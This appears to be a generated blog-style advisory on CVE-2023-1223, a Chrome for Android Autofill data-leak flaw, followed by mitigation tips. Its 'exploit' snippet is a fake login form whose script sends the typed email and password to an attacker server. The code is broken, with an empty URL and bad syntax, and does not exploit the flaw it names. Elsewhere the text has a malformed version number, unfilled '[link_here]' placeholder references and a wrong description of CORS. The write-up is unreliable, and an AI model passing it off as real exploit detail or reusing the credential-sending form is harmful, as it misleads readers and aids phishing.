The Google Chrome Browser on Android devices is prone to a vulnerability, known as CVE-2023-1223, due to insufficient policy enforcement in its Autofill feature. This vulnerability allows remote attackers to leak cross-origin data through a specially crafted HTML page. The issue affects Google Chrome on Android devices prior to 111..5563.64. The Chromium security team has classified this vulnerability as having medium severity.


Cross-Origin Resource Sharing (CORS) is a web security measure employed by browsers to ensure that a web page’s resources are restricted to requests originating from the same domain. However, insufficient policy enforcement has left certain vulnerabilities like CVE-2023-1223 in Autofill, a feature of Google Chrome that attempts to predict and autofill input fields on websites.

Exploit Details

The CVE-2023-1223 vulnerability makes it possible for an attacker to craft a malicious HTML page that exploits Chrome's Autofill feature. The attacker can then leak sensitive cross-origin data, such as user credentials or personal data, which should be protected by the browser's security policies.

By gaining access to this data, an attacker can potentially steal the user's online identity, carry out phishing attacks, or initiate unauthorized transactions.

Code Snippet

An example of a code snippet that exploits the CVE-2023-1223 vulnerability might look like the following:

<!DOCTYPE html>
    <title>Malicious Page - CVE-2023-1223</title>
    <form id="target_form" action="">;
        <input type="email" placeholder="Email address" name="email" required>
        <input type="password" placeholder="Password" name="password" required>
        <button type="submit">Log in</button>
        // Exploit script
        document.getElementById("target_form").addEventListener("submit", function(event) {
            var email = document.querySelector('input[name="email"]').value;
            var password = document.querySelector('input[name="password"]').value;
            fetch(""; + encodeURIComponent(email) + "&password=" + encodeURIComponent(password));

In this example, a form resembling a login page is created. The exploit script captures the autofilled email and password data and sends it to the attacker's server without the user's knowledge.

Original References

1. Official Chromium Security Advisory: [link_here] (replace with the actual link to the advisory when it becomes available)
2. Google Chrome Release Notes: [link_here] (replace with the actual link to the release notes when it becomes available)
3. National Vulnerability Database (NVD) Entry:

Mitigation Steps

1. Ensure that your Android device is running the latest version of Google Chrome (111..5563.64 or later). You can check for updates by opening the Chrome app, tapping the three-dot menu, and selecting "Settings" > "About Chrome" > "Update Chrome".
2. Always be cautious when navigating to unfamiliar websites, and only provide your credentials on trusted sites via HTTPS.
3. Use a password manager with its autofill feature as an alternative to Chrome's built-in Autofill. This can add an extra layer of security and reduce the risk of data leaks.

Stay vigilant and keep your Google Chrome on Android up to date to protect your personal data and online security. As new vulnerabilities may be discovered in the future, it's crucial to be proactive about maintaining the security of your device and information.


Published on: 03/07/2023 22:15:00 UTC
Last modified on: 03/11/2023 02:38:00 UTC